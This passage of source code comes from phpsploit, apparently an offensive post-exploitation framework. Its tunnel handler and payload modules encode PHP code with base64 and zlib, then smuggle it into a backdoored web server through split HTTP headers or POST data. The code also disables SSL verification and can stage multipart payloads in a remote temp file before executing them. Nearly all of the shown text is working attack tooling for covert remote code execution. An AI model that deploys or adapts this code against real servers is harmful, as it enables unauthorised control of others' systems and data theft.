choose(['SERVER_ADDR', 'LOCAL_ADDR'], env['HOST']) if ":" in env['ADDR']: # enclose with brackets if ipv6 env["ADDR"] = "[%s]" % env["ADDR"] env["HTTP_SOFTWARE"] = choose(['SERVER_SOFTWARE'], 'unknow software') env["USER"] = (choose(['USERNAME', 'USER']) or choose(['USERPROFILE'], 'unknow').split('\\')[-1]) env["PHP_VERSION"] = choose(['PHP_VERSION'], '?') env['WEB_ROOT'] = choose(['WEB_ROOT']) env["HOME"] = choose(env["WEB_ROOT"]) if not env['HOME']: path = choose(['SCRIPT_FILENAME', 'PATH_TRANSLATED']) sep = '\\' if not path: path = '/' else: if path[0] == '/': sep = '/' path = sep.join(path.split(sep)[0:-1]) env['HOME'] = path env['WRITEABLE_WEBDIR'] = choose(['WRITEABLE_WEBDIR']) env['WRITEABLE_TMPDIR'] = choose(['WRITEABLE_TMPDIR']) env["PATH_SEP"] = '\\' if env["HOME"].startswith('/'): env["PATH_SEP"] = '/' env["PLATFORM"] = choose(['OS', 'PHP_OS'], 'unknow').split()[0].lower() if env["PLATFORM"] == "unknow": if env["PATH_SEP"] == "\\": env["PLATFORM"] = "windows" else: env["PLATFORM"] = "unix" env["PLATFORM"] = env["PLATFORM"].strip().lower() env["PWD"] = env["HOME"] return env phpsploit-3.2+git20240329.aea961d/src/core/tunnel/exceptions.py000066400000000000000000000017261460155776400237420ustar00rootroot00000000000000"""Phpsploit requests and tunnel exceptions """ __all__ = ["BuildError", "RequestError", "ResponseError"] class TunnelException(Exception): """Parent class for tunnel exception types """ class BuildError(TunnelException): """Tunnel request builder exception This exception is raised by the tunnel handler if something during the request crafting process fails. Used by the tunnel.handler.Request().Build() method. """ class RequestError(TunnelException): """Tunnel request sender exception This exception is raised by the tunnel handler if something fails while sending phpsploit requests. Used by the tunnel.handler.Request.Send() method. """ class ResponseError(TunnelException): """Tunnel payload dumper exception This exception is raised by the tunnel handler if the process of payload response extraction within the HTTP response fails. Used by the tunnel.handler.Request.Read() method. """ phpsploit-3.2+git20240329.aea961d/src/core/tunnel/handler.py000066400000000000000000001135451460155776400232010ustar00rootroot00000000000000"""Phpsploit HTTP request handler""" __all__ = ["Request", "new_request", "get_raw_requests"] import sys import re import math import uuid import time import codecs import base64 import zlib import urllib.request import urllib.parse import http.client import ssl import core from core import session from datatypes import Path import ui.input from ui.color import colorize from .exceptions import BuildError, RequestError, ResponseError from . import payload # don't verify ssl certificates, to support non-signed https TARGETs if hasattr(ssl, "_create_unverified_context"): ssl._create_default_https_context = ssl._create_unverified_context ### Log raw http requests with custom HTTP Connection Handlers _RAW_REQUESTS_LIST = [] class _CustomHTTPConnection(http.client.HTTPConnection): """Log raw http request into _RAW_REQUESTS_LIST globale """ def send(self, data): global _RAW_REQUESTS_LIST # fixes: https://github.com/nil0x42/phpsploit/issues/65 if data.startswith(b"GET /") or data.startswith(b"POST /"): _RAW_REQUESTS_LIST.append(data) elif _RAW_REQUESTS_LIST: _RAW_REQUESTS_LIST[-1] += data else: _RAW_REQUESTS_LIST.append(data) super().send(data) http.client.__HTTPConnection__ = http.client.HTTPConnection http.client.HTTPConnection = _CustomHTTPConnection # TODO: intercept trafic on HTTPS requests too # class _CustomHTTPSConnection(http.client.HTTPSConnection): # def send(self, s): # global global_raw_request # # fixes: https://github.com/nil0x42/phpsploit/issues/65 # if data.startswith("GET ") or data.startswith("POST "): # _RAW_REQUESTS_LIST.append(data) # else: # _RAW_REQUESTS_LIST[-1] += data # super().send(s) # http.client.__HTTPSConnection__ = http.client.HTTPSConnection # http.client.HTTPSConnection = _CustomHTTPSConnection # fixes https://github.com/nil0x42/phpsploit/issues/135 # but i don't know how ... :( class _CustomHTTPHandler(urllib.request.HTTPHandler): pass urllib.request.__HTTPHandler__ = urllib.request.HTTPHandler urllib.request.HTTPHandler = _CustomHTTPHandler def _load_template(filepath): """load a PHP tunnel data template file""" file = Path(core.BASEDIR, "data/tunnel", filepath, mode='fr') return file.phpcode() class NoPayloadInResponse(Exception): pass class Request: """Phpsploit HTTP Request Handler """ # the list of available methods methods = ['GET', 'POST'] # pre-set headers, which might be considered to count vacant headers base_headers = ['host', 'accept-encoding', 'connection', 'user-agent'] post_headers = ['content-type', 'content-length'] # specific php code templates which are injected in the main evil # header, nominated by the PASSKEY setting, in charge of asessing # the main payload (in both POST and HEADER FILLING methods) forwarder_template = {'GET': _load_template('forwarders/get.php'), 'POST': _load_template('forwarders/post.php')} # on multipart payloads, these different php codes are used as a pipe # between header payload and final payload. the starter writes the # encoded first part of payload into the self.tmpfile, the sender # continues the operation appending middle parts into the tmpfile data; # finally, the reader writes the last part, then executes the tmpfile's # reassembled content. multipart = {'starter': _load_template('multipart/starter.php'), 'sender': _load_template('multipart/sender.php'), 'reader': _load_template('multipart/reader.php')} def __init__(self): # customizable variables self.target_obj = session.Conf.TARGET(call=False) self.hostname = self.target_obj.host self.port = self.target_obj.port self.target = self.target_obj() self.passkey = session.Conf.PASSKEY() self.is_first_payload = False self.is_first_request = True # default message exceptions on request/response fail self.errmsg_request = "Communication with the server impossible" self.errmsg_response = "Php runtime error" # eventual error produced on build_forwarder() self.payload_forwarder_error = None # Use the PROXY setting as urllib opener self.opener = session.Conf.PROXY() # the list of user specified additionnal headers (HTTP_* settings) self.set_headers = self.load_headers(session.Conf) # random delimiter user to extract phpsploit output self.delim = str(uuid.uuid4()) # try to get a tmpdir, which acts as recipient directory on payloads # sent via multiple requests, if no writeable tmpdir is known, the # user will be asked to manually determine a writeable directory # on the self.load_multipart() function. self.tmpfile = '/' + str(uuid.uuid4()) if "WRITEABLE_TMPDIR" in session.Env.keys(): self.tmpdir = session.Env["WRITEABLE_TMPDIR"] + self.tmpfile else: self.tmpdir = None # multipart_file is a small portion of php code in the form: # , that indicates to multipart payloads # where the fragments of payload will be written. # the self.load_multipart() function sets it. self.multipart_file = None # the list of formated REQ_* Settings, for use in the http sender. hdr_payload = session.Conf.REQ_HEADER_PAYLOAD() hdr_payload = hdr_payload.replace('%%BASE64%%', '%s') self.header_payload = hdr_payload.rstrip(';') + ';' self.default_method = session.Conf.REQ_DEFAULT_METHOD() self.zlib_try_limit = session.Conf.REQ_ZLIB_TRY_LIMIT() self.max_post_size = session.Conf.REQ_MAX_POST_SIZE() self.max_header_size = session.Conf.REQ_MAX_HEADER_SIZE() self.max_headers = session.Conf.REQ_MAX_HEADERS() # determine how much header slots are really vacants, to calculate # what payload types will be available, and how much data can be # sent by http request. vacant_hdrs = (self.max_headers - len(self.base_headers) - len(self.set_headers.keys()) - 1) # the payload forwarder header self.vacant_headers = {'GET': vacant_hdrs, 'POST': vacant_hdrs - len(self.post_headers)} # GET's max size gets -8 because payloaded headers are sent like this: # `ZZAA: DATA\r\n`, aka 8 chars more than DATA. # POST's max size gets -5 because a POST data is sent like this: # `PASSKEY=DATA\r\n\r\n`, so = and \r\n\r\n must be considered too. self.maxsize = {'GET': vacant_hdrs * (self.max_header_size - 8), 'POST': self.max_post_size - len(self.passkey) - 5} # the self.can_send var is a dic of bools, 1 per available http method # which indicate if yes or no the concerned method can be really used. self.can_send = {'GET': [self.maxsize['GET'] > 0], 'POST': False} if self.maxsize['POST'] > 0 and self.vacant_headers['POST'] >= 0: self.can_send['POST'] = True def other_method(self): """returns the inverse of the current default method""" if self.default_method == 'GET': return 'POST' return 'GET' def can_add_headers(self, headers): """check if the size of the specified headers list is in conformity with the max header size """ headers = self.get_headers(headers) for name, value in headers.items(): raw_header = '%s: %s\r\n' % (name, value) if len(raw_header) > self.max_header_size: return False return True def encapsulate(self, php_payload): """wrap unencoded payload within self.delim """ php_payload = php_payload.rstrip(';') echo_delim = 'echo "%s";' % self.delim return echo_delim + php_payload + echo_delim def decapsulate(self, response): """extract payload response from http response body """ response = response.read() chunks = response.split(self.delim.encode(), 2) if len(chunks) == 3: return chunks[1] return None raise NoPayloadInResponse(response) def load_multipart(self): """enable the multi-request payload capability. - ask user to determine a remote writeable directory if tunnel opener couldn't file one automatically. - choose appropriate multipart_file, which is a remote temporary file used to concatenate payload fragments before final execution. """ ask_dir = ui.input.Expect(case_sensitive=False, append_choices=False) ask_dir.default = "/tmp" ask_dir.skip_interrupt = False ask_dir.question = ("Writeable remote directory needed" " to send multipart payload ['/tmp/'] ") confirm = ui.input.Expect(True) confirm.skip_interrupt = False while not self.tmpdir: response = ask_dir() if confirm("Use '%s' as writeable directory ?" % response): self.tmpdir = response + self.tmpfile if not self.multipart_file: self.multipart_file = payload.py2php(self.tmpdir) self.multipart_file = "$f=%s;" % self.multipart_file multipart = dict() for name, phpval in self.multipart.items(): multipart[name] = self.multipart_file + phpval if name in ['starter', 'sender']: multipart[name] = self.encapsulate(multipart[name]) self.multipart = multipart def build_forwarder(self, method, decoder): """build the effective payload forwarder, which is in fact a header using the PASSKEY setting as name. The payload forwarder is called by the remote backdoor, and then formats the final payload if necessary before executing it. """ decoder = decoder % "$x" template = self.forwarder_template[method] template = template.replace('%%PASSKEY%%', self.passkey) raw_forwarder = template % decoder b64_forwarder = base64.b64encode(raw_forwarder.encode()).decode() # here we delete the ending "=" from base64 payload # because if the string is not enquoted it will not be # evaluated. on iis6, apache2, php>=4.4 it dont seem # to return error, and is a hacky solution to eval a payload # without quotes, preventing header quote escape by server # eg: "eval(base64_decode(89jjLKJnj))" b64_forwarder = b64_forwarder.rstrip('=') hdr_payload = self.header_payload forwarder = hdr_payload % b64_forwarder if not self.is_first_payload: # if the currently built request is not the first http query # sent to the server, it means that it works as it is. Therefore, # additionnal payload warnings and verifications are useless. return {self.passkey: forwarder} err = None # if the base64 payload is not enquoted by REQ_HEADER_PAYLOAD # setting and contains non alpha numeric chars (aka + or /), # then warn the user in case of bad http response. if "'%s'" not in hdr_payload and \ '"%s"' not in hdr_payload and \ not b64_forwarder.isalnum(): # create a visible sample of the effective b64 payload len_third = float(len(forwarder) / 3) len_third = int(round(len_third + 0.5)) sample_sep = colorize("%Reset", "\n[*] ", "%Cyan") lines = [''] + self.split_len(forwarder, len_third) err = ("[*] do not enquotes the base64 payload which" " contains non alpha numeric chars (+ or /)," " blocking execution:" + sample_sep.join(lines)) # if server is running PHP >=8, non-quoted literal won't be # interpreted as a string, leading to impossibility to # execute phpsploit unless quotes are added to the payload: elif "'%s'" not in hdr_payload and \ '"%s"' not in hdr_payload: len_third = float(len(forwarder) / 3) len_third = int(round(len_third + 0.5)) sample_sep = colorize("%Reset", "\n[*] ", "%Cyan") lines = [''] + self.split_len(forwarder, len_third) err = ("[*] doesn't quotes base64 payload, and if" " target runs on PHP>=8, execution will fail" " (GH Issue #168):" + sample_sep.join(lines)) # if current request is not affected by previous case, # request may still fail because the header containing the # payload stager has quotes. elif '"' in hdr_payload or \ "'" in hdr_payload: err = ("[*] contains quotes, and some http servers & firewalls" " escape them in request headers.") self.payload_forwarder_error = err return {self.passkey: forwarder} def build_get_headers(self, php_payload): """Split `php_payload` into a list of evil HTTP headers containing payload fractions. Original payload is recombined and executed at runtime by payload stager. Each header name is generated appending two alphabecital letters to the base name, in the form: ZZAA, ZZAB, ..., ZZBA, ZZBB, ZZBC, ... """ # TODO: this function is horribly stupidly implemented def get_header_names(num): letters = 'abcdefghijklmnopqrstuvwxyz' result = [] base = 0 for x in range(num): x -= 26 * base try: char = letters[x] except: base += 1 char = letters[x-26] header_name = "zz" + letters[base] + char result.append(header_name) return result # considering that the default REQ_MAX_HEADERS and REQ_MAX_HEADER_SIZE # values can be greater than the real current server's capacity, the # following lines equilibrates the risks we take on both settings. # The -8 on the max_header_size keeps space for header name and \r\n data_len = len(php_payload) free_space_per_hdr = self.max_header_size - 8 vacant_hdrs = self.vacant_headers['GET'] sz_per_hdr = math.sqrt((data_len * free_space_per_hdr) / vacant_hdrs) sz_per_hdr = int(math.ceil(sz_per_hdr)) hdr_datas = self.split_len(php_payload, sz_per_hdr) hdr_names = get_header_names(len(hdr_datas)) return dict(zip(hdr_names, hdr_datas)) def build_post_content(self, data): """returns a POST formated version of the given payload data with PASSKEY as variable name """ post_data = urllib.parse.urlencode({self.passkey: data}) post_data += "&" + session.Conf.REQ_POST_DATA() return post_data def build_single_request(self, method, php_payload): """build a single request from the given http method and payload, and return a request object. for infos about the return format, see the build_request() docstring. """ # the header that acts as payload forwarder forwarder = self.build_forwarder(method, php_payload.decoder) headers = forwarder # headers dictionnary content = None # post data content, None on GET requests if not self.can_add_headers(headers): # if no more headers are available, the payload forwarder # can't be send, so we have to return an empty list return [] if method == 'GET': # add built headers containing splitted main payload evil_headers = self.build_get_headers(php_payload.data) headers.update(evil_headers) if method == 'POST': # encode the main paylod as a POST data variable content = self.build_post_content(php_payload.data) return [(headers, content)] def build_multipart_request(self, method, php_payload): """build a multipart request for `php_payload` with HTTP `method` For infos about return format, read build_request() docstring. """ compression = 'auto' if php_payload.length > self.zlib_try_limit: compression = 'nocompress' def encode(stager, php_payload): """wrap `php_payload` with `stager` and encode it""" data = stager.replace('DATA', php_payload).encode() return payload.Encode(data, compression) last_stager = self.multipart['reader'] % (php_payload.decoder % "$x") raw_data = php_payload.data base_num = self.maxsize[method] max_flaw = max(100, int(self.maxsize[method] / 100)) built_reqs = [] # loop while the payload has not been fully distributed into requests while True: # the multipart forwarder to use on currently built request forwarder = 'sender' if built_reqs else 'starter' forwarder = self.multipart[forwarder] req_done = False # True when current req has been calculated php_payload = None # the current request's payload string # the following loop is designed to determine the greatest # usable payload that can be used in a single request. # on these steps, min_range and max_range respectively represent # the current allowed size's range limits. while test_size # represent the currently checked payload size. test_size = base_num min_range = max_flaw max_range = 0 while not req_done: if max_range > 0: if max_range <= min_range: max_range = min_range * 2 # set test_size to the current range's average test_size = min_range + int((max_range - min_range) / 2) # try to build a payload containing the test_size data test_payload = encode(forwarder, raw_data[:test_size]) # if it is too big, consider test_size as the new max_range # only if test_size if bigger than the max_flaw, else return err if test_payload.length > self.maxsize[method]: if test_size <= max_flaw: return [] max_range = test_size # if the payload is not too big else: # then accept it as current request's payload size, only # if the difference between current size and known limit # does not exceeds the max_flaw. also accept it if this is # the last built single request. if test_size - min_range <= max_flaw \ or (built_reqs and test_size == base_num): php_payload = test_payload base_num = test_size req_done = True # we also now know that the max theorical size is bigger # than tested size, so we settle min_range to it's value min_range = test_size # our single request can now be added to the multi req list # and it's treated data removed from the full data set raw_data = raw_data[min_range:] request = self.build_single_request(method, php_payload) if not request: return [] built_reqs += request # after each successful added request, try to put all remaining # data into a final request, and return full result if it enters. php_payload = encode(last_stager, raw_data) if php_payload.length <= self.maxsize[method]: request = self.build_single_request(method, php_payload) if not request: return [] built_reqs += request return built_reqs def build_request(self, mode, method, php_payload): """a frontend to the build_${mode}_request() functions. it takes request mode (single/multipart) as first argument, while the 2nd and 3rd are common request builder's arguments. * RETURN-FORMAT: the request builders return format is a list() containing one tuple per request. Each request tuple contains the headers dict() as first element, and the POST data as 2nd elem, which is a dict(), or None if there is no POST data to send. headers dict() is in the form: {'1stHdrName': '1stHdrValue', ...} * This is a basic request format: [ ( {"User-Agent":"firefox", {"Accept":"plain"}, None ), ( {"User-Agent":"ie"}, {"PostVarName":"PostDATA"} ) ] """ builder_name = "build_%s_request" % mode if hasattr(self, builder_name): builder = getattr(self, builder_name) return builder(method, php_payload) return [] def send_single_request(self, request): """send a single request object element (a request object's single tuple, in the form mentionned in the build_request() docstring. A response dict() will be returned, with 'error' and 'data' keys. """ response = {'error': None, 'data': None} # preset response values headers, content = request # retrieve request elems from given tuple if isinstance(content, str): content = content.encode() # add the user settings specified headers, and get their real values. headers.update({"Host": self.hostname}) headers.update(self.set_headers) headers = self.get_headers(headers) # erect the final request structure request = urllib.request.Request(self.target, content, headers) try: # send request with custom opener and decapsulate it's response resp = self.opener.open(request) response['data'] = self.decapsulate(resp) # if it works, then self.is_first_request bool() is no more True self.is_first_request = False # treat errors if request failed except urllib.error.HTTPError as e: # import pprint # pprint.pprint(e) try: response['data'] = self.decapsulate(e) except: response['data'] = None if response['data'] is None: response['error'] = str(e) except urllib.error.URLError as e: err = str(e) if err.startswith('', b'\n') # html NewLines to Ascii # get a list of non-empty data lines lines = list() for line in data.split(b'\n'): line = line.strip() if line: lines.append(line) # extract errors from data for line in lines: try: line = line.decode() except: break # this condition basically considers current line as a php error if line.count(': ') > 1 and ' on line ' in line: line = re.sub(r' \[\]', '', line) # remove html link tag line = re.sub('<.*?>', '', line) # remove other html tags line = line.replace(': ', ': ') # format double spaces line = ' in '.join(line.split(' in ')[0:-1]) # del line info error += 'PHP Error: %s\n' % line # add erro line to return return error.strip() def read(self): """read the http response""" return self.response def open(self, php_payload): """open a request to the server with the given php payload It respectively calls the Build(), Send() and Read() methods. if one of these methods returns a string, it will be considered as an error, so execution will stop, and self.error will be filled. If no errors occur, then the self.response is filled, and the response may be obtained by the read() method. """ # if the is more than one possible target, display the one used for # this request(s). Also print if connecting through `exploit` cmd if self.is_first_payload or len(session.Conf.TARGET.choices()) > 1: print("[*] Sending payload to %s ..." % self.target_obj) self.response = None self.response_error = None def display_warnings(obj): if type(obj).__name__ == 'str': for line in obj.splitlines(): if line: print("\r[-] %s" % line) return True return False # this raises BuildError if it fails request = self.Build(php_payload) response = self.Send(request) # import pprint # pprint.pprint(response) if display_warnings(response): if self.payload_forwarder_error: print("[*] If you are sure that the target is properly " "backdoored, this may occur because " "REQ_HEADER_PAYLOAD\n" + self.payload_forwarder_error) raise RequestError(self.errmsg_request) readed = self.Read(response) if display_warnings(readed): raise ResponseError(self.errmsg_response) def Build(self, php_payload): """Main request Builder: if takes the basic php payload as argument, and returns the apropriate request object. """ # decline conflicting passkey strings if self.passkey.lower().replace('_', '-') in self.set_headers: raise BuildError('PASSKEY conflicts with an http header') # decline if an user set header do not match size limits if not self.can_add_headers(self.set_headers): raise BuildError('An http header is longer ' 'than REQ_MAX_HEADER_SIZE') # format the current php payload whith the dedicated Build() method. php_payload = payload.Build(php_payload, self.delim) # get a dict of available modes by method mode = {} for m in self.methods: mode[m] = '' if self.can_send[m]: mode[m] = 'single' if php_payload.length > self.maxsize[m]: mode[m] = 'multipart' # if REQ_DEFAULT_METHOD setting is enough for single mode, build now ! if mode[self.default_method] == 'single': req = self.build_request('single', self.default_method, php_payload) if not req: raise BuildError('The forwarder is bigger ' 'than REQ_MAX_HEADER_SIZE') return req # load the multipart module if required if 'multipart' in mode.values(): try: print('[*] Large payload: %s bytes' % php_payload.length) self.load_multipart() except KeyboardInterrupt: print('') raise BuildError('Payload construction aborted') # build both methods necessary requests request = dict() for m in self.methods: sys.stdout.write('\rBuilding %s method...\r' % m) sys.stdout.flush() request[m] = self.build_request(mode[m], m, php_payload) # if the default method can't be built, use the other as default if not request[self.default_method]: self.default_method = self.other_method() # but if even the other also cannot be built, then leave with error if not request[self.default_method]: raise BuildError('REQ_* settings are too small') # give user choice for what method to use self.choices = list() def choice(seq): """add arg to the choices list, and enlight it's output""" self.choices.append(seq[0].upper()) hilightChar = colorize("%Bold", seq[0]) output = '[%s]%s' % (hilightChar, seq[1:]) return output # prepare user query for default method query = "%s %s request%s will be sent, you also can " \ % (len(request[self.default_method]), choice(self.default_method), ['', 's'][len(request[self.default_method]) > 1]) end = "%s" % choice('Abort') # add other method to user query if available if request[self.other_method()]: query += "send %s %s request%s or " \ % (len(request[self.other_method()]), choice(self.other_method()), ['', 's'][len(request[self.other_method()]) > 1]) # or report that the other method has been disabled else: print('[-] %s method disabled:' % self.other_method() + ' The REQ_* settings are too restrictive') query += end + ': ' # add the Abort choice self.choices.append(None) # it makes sure the list length is >= 3 # loop for user input choice: chosen = '' while not chosen: chosen = ui.input.Expect(None)(query).upper() # try: # chosen = ui.input.Expect(None)(query).upper() # except: # print('') # raise BuildError('Request construction aborted') # if no choice consider 1st choice if not chosen.strip(): chosen = self.choices[0] # if 1st choice, use default method if chosen == self.choices[0]: return request[self.default_method] # if 3rd choice, use other method if chosen == self.choices[2]: return request[self.other_method()] # if 2nd choice, abort if chosen == self.choices[1]: raise BuildError('Request construction aborted') # else... else: raise BuildError('Invalid user choice') def Send(self, request): """Main request Sender: if takes the concerned request object as argument and returns the unparsed and decapsulated phpsploit response """ # flush raw requests container global _RAW_REQUESTS_LIST _RAW_REQUESTS_LIST = [] multiReqLst = request[:-1] lastRequest = request[-1] def updateStatus(curReqNum): curReqNum += 1 # don't belive the fact that humans count from 1 ! numOfReqs = str(len(multiReqLst) + 1) curReqNum = str(curReqNum).zfill(len(numOfReqs)) statusMsg = "Sending request %s of %s" % (curReqNum, numOfReqs) sys.stdout.write('\r[*] %s' % statusMsg) sys.stdout.flush() # considering that the multiReqLst can be empty, is means that the # following loop is only executer on multipart payloads. for curReqNum in range(len(multiReqLst)): interrupt_err = ('Send Error: Multipart transfer interrupted\n' 'The remote temporary payload ÂĢ%sÂģ must be ' 'manually removed.' % self.tmpdir) sent = False while not sent: updateStatus(curReqNum) response = self.send_single_request(multiReqLst[curReqNum]) error = response['error'] # keyboard interrupt imediately leave with error if error == 'HTTP Request interrupted': return interrupt_err # on multipart reqs, all except last MUST return the string 1 if not error and response['data'] != b'1': error = 'Execution error' # if the current request failed if error: msg = " (Press Enter or wait 1 minut for the next try)" sys.stdout.write(colorize("\n[-] ", error, "%White", msg)) waitkey = ui.input.Expect(None) waitkey.timeout = 60 waitkey.skip_interrupt = False try: waitkey() except (KeyboardInterrupt, EOFError): return interrupt_err # if the request has been corretly executed, wait the # REQ_INTERVAL setting, and then go to the next request else: try: time.sleep(session.Conf.REQ_INTERVAL()) except: return interrupt_err sent = True # if it was a multipart payload, print status for last request if len(multiReqLst): updateStatus(len(multiReqLst)) print('') # treat the last or single request response = self.send_single_request(lastRequest) if response['error']: return response['error'] return response def Read(self, response): """Main request Reader if takes the http response data as argument and writes the __RESULT__'s php data into the self.response string, and writes the __ERROR__'s php error method to self.response_error. Note: The php __ERROR__ container is not a real error, but a phpsploit built method to allow plugins returning plugin error strings that can be differenciated from base result. """ if response['data'] is None: # if no data and error, return it's string if response['error']: return response['error'] # elif no data, nothing can be parsed print("[-] Server response coudn't be unparsed" " (maybe invalid PASSKEY ?)") # print payload forwarder error (if any) if self.payload_forwarder_error: print("[*] If you are sure that the target is properly " "backdoored, this may occur because " "REQ_HEADER_PAYLOAD\n" + self.payload_forwarder_error) return '' # anyway, some data has been received at this point b_response = response['data'] assert isinstance(b_response, bytes) # try to decode it, optional because php encoding can be unset try: b_response = zlib.decompress(b_response) except zlib.error: pass assert isinstance(b_response, bytes) # convert the response data into python variable try: response = payload.php2py(b_response) except Exception as e: php_errors = self.get_php_errors(response['data']) if php_errors: return php_errors raise e # import pprint # pprint.pprint("------------- PYTHON RESPONSE DICT -------------") # pprint.pprint(response) # check that the received type is a dict if not isinstance(response, dict): raise ResponseError('Decoded response is not a dict()') # then check it is in the good format, # aka {'__RESULT__':'DATA'} OR {'__ERROR__': 'ERR'} if list(response.keys()) == ['__RESULT__']: self.response = response['__RESULT__'] elif list(response.keys()) == ['__ERROR__']: self.response_error = response['__ERROR__'] else: raise ResponseError('Returned dict() is in a wrong format') @staticmethod def split_len(string, length): """split `string` into a list of items whose size does not exceed `length` >>> split_len('phpsploit', 2) ['ph', 'ps', 'pl', 'oi', 't'] """ result = [] for pos in range(0, len(string), length): end = pos + length result.append(string[pos:end]) return result @staticmethod def load_headers(settings): """Load the list of user defined headers ('HTTP_*' settings) This function retrieves settings *LineBuffer objects. To pick settings's *usable-value, get_headers() shall be used. """ headers = {"user-agent": ""} for key, val in settings.items(): if key.startswith('HTTP_') and key[5:]: key = key[5:].lower().replace('_', '-') headers[key] = val return headers @staticmethod def get_headers(headers): """get *usable-value of user-defined http headers. This function must be called just before each individual request, to correctly access *usable-value of LineBuffer objects (configuration settings) """ result = {} for key, val in headers.items(): key = key.lower().replace("_", "-") if callable(val): val = val() result[key] = val return result def new_request(): """Wrapper for Request() method which returns backwards compatibility handler if needed. """ from . import compat_handler if "id" in session.Compat and session.Compat["id"] == "v1": request = compat_handler.Request_V1_x() request.passkey = session.Compat["passkey"] else: request = Request() return request def get_raw_requests(): """retrieve raw requests from previously sent payload""" return _RAW_REQUESTS_LIST phpsploit-3.2+git20240329.aea961d/src/core/tunnel/payload.py000066400000000000000000000177531460155776400232210ustar00rootroot00000000000000"""Handle communication between python client and PHP backdoor""" __all__ = ["py2php", "php2py", "Build", "Encode"] import codecs import base64 import phpserialize import core from core import session from core import encoding from datatypes import Path from .exceptions import BuildError def _phpserialize_recursive_dict2list(python_var): """Get real python list() objetcs from php objects. * As php makes no difference between lists and dictionnaries, we should call this function which recursively converts all dict() generated object that can be converted into list(). """ if isinstance(python_var, dict): if list(python_var.keys()) == list(range(len(python_var))): python_var = [python_var[x] for x in python_var] if isinstance(python_var, dict): for key, val in python_var.items(): python_var[key] = _phpserialize_recursive_dict2list(val) if isinstance(python_var, list): #for x in range(len(python_var)): for x, _ in enumerate(python_var): python_var[x] = _phpserialize_recursive_dict2list(python_var[x]) return python_var def py2php(python_var): """Convert a python object into php serialized code string. """ serialized = phpserialize.dumps(python_var, charset=encoding.default_encoding, errors=encoding.default_errors) serialized = encoding.decode(serialized) encoded = Encode(serialized).php_loader() raw_php_var = 'unserialize(%s)' % encoded return raw_php_var def php2py(raw_php_var): """Convert a php code string into python object. """ python_var = phpserialize.loads(raw_php_var, charset=encoding.default_encoding, errors=encoding.default_errors, object_hook=phpserialize.phpobject, decode_strings=True) python_var = _phpserialize_recursive_dict2list(python_var) return python_var class Encode: """Take a php code string, and convert it into an encoded payload, to ease merging within an existing php payload. Payload is also minified with gzip compression (in 'auto' mode). USAGE ===== Encodings: ---------- * base64: Encode payload with base64, an wrap it with php `base64_decode()` * gzip + base64: Encode payload with zlib, and the encode it with base64. Modes: ------ * default: base64 encode only. * auto: base64 encode, and only compress if it reduces payload size. * compress: base64 encode, and force usage of compression. ATTRIBUTES ========== * decoder (str) php decoding string for current payload >>> Encode(payload, "base64").decoder 'base64_decode(%s)' * data (str): encoded payload, without it's decoder, in the form of a base64 string * rawlength (int): same as `len(data)` * length (int): amout of bytes payload will take after being copied to an http request * compressed (bool): True if encoder has been compressed """ def __init__(self, code, mode='default'): """Generate encoded payload attributes """ if isinstance(code, str): code = bytes(code, "utf-8") self.compressed = False self.data = b'' self.decoder = 'base64_decode("%s")' if mode in ['compress', 'auto']: gz_payload = codecs.encode(code, "zlib") gz_payload = base64.b64encode(gz_payload) gz_decoder = 'gzuncompress(base64_decode("%s"))' if mode == 'compress': self.compressed = True self.data = gz_payload self.decoder = gz_decoder if mode != 'compress': self.data = base64.b64encode(code) if mode == 'auto': if len(gz_payload) < len(self.data): self.data = gz_payload self.decoder = gz_decoder self.compressed = True self.data = self.data.decode() self.rawlength = len(self.data) self.length = self._get_real_transport_length(self.data) @staticmethod def _get_real_transport_length(payload): """get real length payload takes once used in HTTP requests. Indeed, base64 strings contain 3 chars '/+=' that are urlencoded, and then take 3 bytes each in an HTTP request. """ length = len(payload) length += payload.count('/') * 2 length += payload.count('+') * 2 length += payload.count('=') * 2 return length def php_loader(self): """Returns payload string, wrapped with it's php decoder """ return self.decoder % self.data class Build: """Generate final payload, ready to be injected into http requests. The returned string includes `delim`, the separation tags allowing tunnel handler to retrieve output returned from payload after remote http request execution. The payload is also encapsulated through phpsploit standard encapsulator (./data/tunnel/encapsulator.php). """ encapsulator = Path(core.BASEDIR, 'data/tunnel/encapsulator.php').phpcode() def __init__(self, php_payload, delim): self.loaded_phplibs = list() php_payload = self.encapsulate(php_payload, delim) php_payload = self._load_php_libs(php_payload) php_payload = self._php_minify(php_payload) encoded_payload = Encode(php_payload.encode(), 'noauto') self.data = encoded_payload.data self.length = encoded_payload.length self.decoder = encoded_payload.decoder def encapsulate(self, payload, delim): """Wrap `payload` with `delim` tags, so the payloads prints those tags into the page at remote php runtime, allowing tunnel handler to extract result from HTTP response body. """ # template encapsulation code = self.encapsulator.replace('%%PAYLOAD%%', payload) payload_prefix = self._get_raw_payload_prefix() code = code.replace("%%PAYLOAD_PREFIX%%", payload_prefix) code = code.rstrip(';') + ';' # delim encapsulation if delim: echo_delim = 'echo "%s";' % delim code = echo_delim + code + echo_delim return code @staticmethod def _get_raw_payload_prefix(): """return $PAYLOAD_PREFIX setting, without php tags, in raw format """ tmpfile = Path() tmpfile.write(session.Conf.PAYLOAD_PREFIX()) payload_prefix = tmpfile.phpcode() del tmpfile return payload_prefix def _load_php_libs(self, code): """Replace `!import()` special syntax with real local library files. """ result = '' for line in code.splitlines(): comp_line = line.replace(' ', '') if not comp_line.startswith('!import('): result += line + '\n' else: libname = line[(line.find('(') + 1):line.find(')')] if line.count('(') != 1 or line.count(')') != 1 or not libname: raise BuildError('Invalid php import: ' + line.strip()) if libname not in self.loaded_phplibs: try: file_path = 'api/php-functions/%s.php' % libname lib = Path(core.COREDIR, file_path).phpcode() except ValueError: raise BuildError('Php lib not found: ' + libname) result += self._load_php_libs(lib) + '\n' self.loaded_phplibs.append(libname) return result @staticmethod def _php_minify(code): """Basic PHP minifier, to optimize final payload size """ lines = [] for line in code.splitlines(): line = line.strip() if line and not line.startswith("//"): lines.append(line) return '\n'.join(lines) phpsploit-3.2+git20240329.aea961d/src/datatypes/000077500000000000000000000000001460155776400207425ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/src/datatypes/Boolean.py000066400000000000000000000017311460155776400226750ustar00rootroot00000000000000from ui.color import colorize class Boolean(int): """High level boolean representation. (extends int) This datatype could be instanciated by passing a string "True" of "False", both case insensitive. It also can pass an int, 0 meaning false, and anything else true. >>> Boolean("fAlSe") False >>> Boolean(1) True >>> Boolean(False) False """ def __new__(cls, value): try: value = int(value) except ValueError: value = str(value).capitalize() if value == "False": value = False elif value == "True": value = True else: raise ValueError("boolean must be True/False") return int.__new__(cls, value) def 